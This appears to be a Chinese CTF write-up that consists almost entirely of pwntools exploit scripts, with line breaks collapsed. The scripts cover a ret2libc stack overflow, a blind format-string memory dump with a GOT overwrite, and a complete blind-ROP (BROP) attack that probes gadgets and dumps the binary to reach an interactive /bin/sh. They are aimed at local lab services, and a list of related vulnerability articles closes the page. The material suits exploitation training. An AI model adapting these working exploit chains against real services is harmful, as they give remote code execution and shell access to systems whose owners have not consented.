#注释头
def setName(name):    io.sendafter('Input name :',name)
def setMessage(message):    io.sendlineafter('Message length :','-1')    io.sendafter('Input message :',message)
def changeName(c):    io.sendlineafter('Change name?',c)

#注释头
setName('A'*0x10)setMessage('BBBBBBBBBB')sh.recvuntil('<')sh.recv(0x1C)stack_addr = u32(sh.recv(4))changeName('n')log.info("stack_addr:%x"%stack_addr)

#注释头
payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)#这里第一个p32(0x100)是覆盖getline的读取长度，也就是arg_4，第二个是为了覆盖循环次数，也就是arg_8setMessage(payload)sh.recvuntil('<')atoi_addr = u32(sh.recv(4))log.info("atoi_addr:%x"%atoi_addr)

#注释头
libc = LibcSearcher('atoi',atoi_addr)libc_base = atoi_addr - libc.dump('atoi')system_addr = libc_base + libc.dump('system')binsh_addr = libc_base + libc.dump('str_bin_sh')

#注释头
payload = 'a'*0x34 + p32(target_addr)setMessage(payload)

#注释头
rop = p32(system_addr) + p32(0) + p32(binsh_addr)setName(rop)

#注释头
from pwn import*io = remote("127.0.0.1",10001)#io = process("./pingme")
def exec_fmt(payload):    io.sendline(payload)    info = p.recv()    return info
auto = FmtStr(exec_fmt)offset = auto.offset

#注释头
from pwn import*
def dump_memory(start_addr,end_addr):    result = ""    while start_addr < end_addr:        io = remote('127.0.0.1',10001)        io.recvline()        payload = "%9$s.AAA" + p32(start_addr)        io.sendline(payload)        data = io.recvuntil(".AAA")[:-4]        if data == "":            data = "\x00"        log.info("leaking: 0x%x --> %s"%(start_addr,data.encode('hex')))        result += data        start_addr += len(data)        io.close()    return resultstart_addr = 0x8048000end_addr = 0x8049000code_bin = dump_memory(start_addr,end_addr)with open("code.bin","wb") as f:    f.write(code_bin)    f.close()

#注释头
def get_printf_addr():    io = remote('127.0.0.1', '10001')    io.recvline()    payload = "%9$s.AAA" + p32(printf_got)    io.sendline(payload)    data = p.recvuntil(".AAA")[:4]    log.info("printf address: %s" % data.encode('hex'))    return dataprintf_addr = get_printf_addr()

payload = fmtstr_payload(7, {printf_got:system_addr})io = remote('127.0.0.1', '10001')io.recvline()io.sendline(payload)io.recv()io.sendline('/bin/sh')io.interactive()

#注释头
gcc -z noexecstack -fno-stack-protector -no-pie brop.c -o bropsocat tcp-listen:10001,fork exec:./brop,reuseaddr &

#注释头
def getbufferflow_length():    i = 1    while 1:        try:            sh = remote('127.0.0.1', 10001)            sh.recvuntil('WelCome my friend,Do you know password?\n ')            sh.send(i * 'a')            output = sh.recv()            sh.close()            if not output.startswith('No password'):                return i - 1            else:                i += 1        except EOFError:            sh.close()            return i - 1
buf_size = getbufferflow_length()log.info("buf_size:%d"%buf_size)

#注释头
def get_stop_addr(buf_size):    addr = 0x400000    while True:        sleep(0.1)#缓冲        addr += 1        payload = "A"*buf_size        payload += p64(addr)#probe_addr        try:            sh = remote('127.0.0.1', 10001)            sh.recvline()            sh.sendline(payload)            sh.recvline()            sh.close()            log.info("stop address: 0x%x" % addr)            return addr        except EOFError as e:#crash and restart            sh.close()            log.info("bad: 0x%x" % addr)        except:#other error            log.info("Can't connect")            addr -= 1

#注释头
def get_gadgets_addr(buf_size, stop_addr):    addr = stop_addr    while True:        sleep(0.1)        addr += 1        payload = "A"*buf_size        payload += p64(addr)        payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) +        p64(6)        payload += p64(stop_addr)        try:            p = remote('127.0.0.1', 10001)            p.recvline()            p.sendline(payload)            p.recvline()            p.close()            log.info("find address: 0x%x" % addr)            try: # check                payload = "A"*buf_size                payload += p64(addr)                payload += p64(1) + p64(2) + p64(3) + p64(4) + p                64(5) + p64(6)                #Six pop without stop_addr                p = remote('127.0.0.1', 10001)                p.recvline()                p.sendline(payload)                p.recvline()                p.close()                log.info("bad address: 0x%x" % addr)                #Not crash,Bad addr.            except:#Crash,success addr                p.close()                log.info("gadget address: 0x%x" % addr)                return addr        except EOFError as e:            p.close()            log.info("bad: 0x%x" % addr)        except:            log.info("Can't connect")            addr -= 1

#注释头
def get_puts_addr(buf_size, rdi_ret, stop_gadget):    addr = 0x400000    while 1:        print hex(addr)        sh = remote('127.0.0.1', 10001)        sh.recvuntil('password?\n')        payload = 'A' * buf_size + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)        #call put to print the head of ELF.        sh.sendline(payload)        try:            content = sh.recv()            if content.startswith('\x7fELF'):                print("find puts@plt addr: 0x%x"%addr)                return addr            sh.close()            addr += 1        except EOFError as e:            sh.close()            log.info("bad: 0x%x" % addr)        except:            log.info("Can't connect")            addr -= 1

#注释头
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):    pop_rdi = gadgets_addr + 9 # pop rdi; ret    result = ""    while start_addr < end_addr:        #print result.encode('hex')        sleep(0.1)        payload = "A"*buf_size        payload += p64(pop_rdi)        payload += p64(start_addr)        payload += p64(puts_plt)        payload += p64(stop_addr)        try:            sh = remote('127.0.0.1', 10001)            sh.recvline()            sh.sendline(payload)            data = sh.recv(timeout=0.1)             #timeout makes sure to recive all bytes            if data == "\n":#data = \x00                data = "\x00"            elif data[-1] == "\n":            #data = xxxxx\n\x00,data = \n\x00,data = xxxxx\x00                data = data[:-1]            log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))            result += data            start_addr += len(data)            sh.close()        except:            log.info("Can't connect")    return result

#注释头
sh = remote('127.0.0.1', 10001)sh.recvuntil('password?\n')payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)sh.sendline(payload)data = sh.recvuntil('\nWelCome', drop=True)puts_addr = u64(data.ljust(8, '\x00'))libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')binsh_addr = libc_base + libc.dump('str_bin_sh')payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)sh.sendline(payload)sh.interactive()

#注释头
def leak(address):    data = ""    c=""    up = ""    payload = 'a' * length + p64(rdi_ret) + p64(address) + p64(puts_plt) + p64(stop_gadget)    sh.recvuntil('password?\n')    sh.send(payload)    while True:        c = p.recv(1)        if up == '\n' and c == "W":              data = data[:-1]                                 data += "\x00"            break        else:            data += c        up = c    data=data[:7]#实际有效地址只有6个字符    log.info("%#x => %s" % (address, (data or '').encode('hex')))    return data

dynelf = DynELF(leak, elf=ELF("./brop"))system_addr = dynelf.lookup("__libc_system", "libc")

# 往期推荐

1. 数据库注入wp分析心得

2. 【封神台】Sql-Labs wp

3.Cisco RV160W系列路由器漏洞：从1day分析到0day挖掘

4. Roll_a_d8新人向Writeup

5. CVE-2021-21224分析笔记

6. 浅见：将JS代码注入到第三方CEF应用程序